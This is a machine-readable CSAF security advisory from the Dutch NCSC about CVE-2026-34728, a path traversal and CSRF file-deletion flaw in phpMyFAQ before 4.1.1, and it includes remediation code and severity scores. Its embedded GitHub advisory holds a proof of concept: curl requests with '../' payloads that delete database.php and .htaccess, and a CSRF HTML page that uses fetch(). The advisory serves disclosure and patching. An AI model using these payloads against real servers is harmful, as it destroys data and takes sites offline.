{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34728",
        "tracking": {
            "current_release_date": "2026-04-03T15:36:44.103265Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34728",
            "initial_release_date": "2026-04-01T23:02:31.220722Z",
            "revision_history": [
                {
                    "date": "2026-04-01T23:02:31.220722Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-01T23:02:42.553833Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-04-02T15:28:36.458831Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-04-02T15:28:38.928963Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T15:35:20.842327Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-02T15:39:10.033121Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1).| Unknown change."
                },
                {
                    "date": "2026-04-02T15:39:12.134479Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-04-03T15:31:07.435981Z",
                    "number": "8",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-04-03T15:31:09.080344Z",
                    "number": "9",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "9"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<4.1.1",
                                "product": {
                                    "name": "vers:unknown/<4.1.1",
                                    "product_id": "CSAFPID-5984994"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "phpMyFAQ"
                    }
                ],
                "category": "vendor",
                "name": "thorsten"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34728",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `\"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this->userHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request->getContent());\n    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === 'fileRemove') {\n        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . '/user/images/' . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file->getClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === '..' || $segment === '') {\n        throw new StorageException('Invalid storage path.');\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}'\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET 'https://target.example.com/admin/api/media-browser' \\\n  -H 'Content-Type: application/json' \\\n  -H 'Cookie: PHPSESSID=valid_admin_session' \\\n  -d '{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}'\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n<html>\n<body>\n<script>\nfetch('https://target.example.com/admin/api/media-browser', {\n  method: 'GET',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    action: 'fileRemove',\n    name: '../../../content/core/config/database.php'\n  }),\n  credentials: 'include'\n});\n</script>\n</body>\n</html>\n```\n\nWhen an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === 'fileRemove') {\n    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {\n    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
                    "title": "github - https://api.github.com/advisories/GHSA-38m8-xrfj-v38x"
                },
                {
                    "category": "description",
                    "text": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', \", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34728"
                },
                {
                    "category": "description",
                    "text": "phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, the MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', \", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. This issue has been patched in version 4.1.1.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34728.json"
                },
                {
                    "category": "other",
                    "text": "0.00191",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.1",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, Is related to (a version of) an uncommon product, Is related to CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5984994"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-38m8-xrfj-v38x"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-34728"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/34xxx/CVE-2026-34728.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd",
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-38m8-xrfj-v38x"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; nvd",
                    "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
                        "baseScore": 8.7,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5984994"
                    ]
                }
            ],
            "title": "CVE-2026-34728"
        }
    ]
}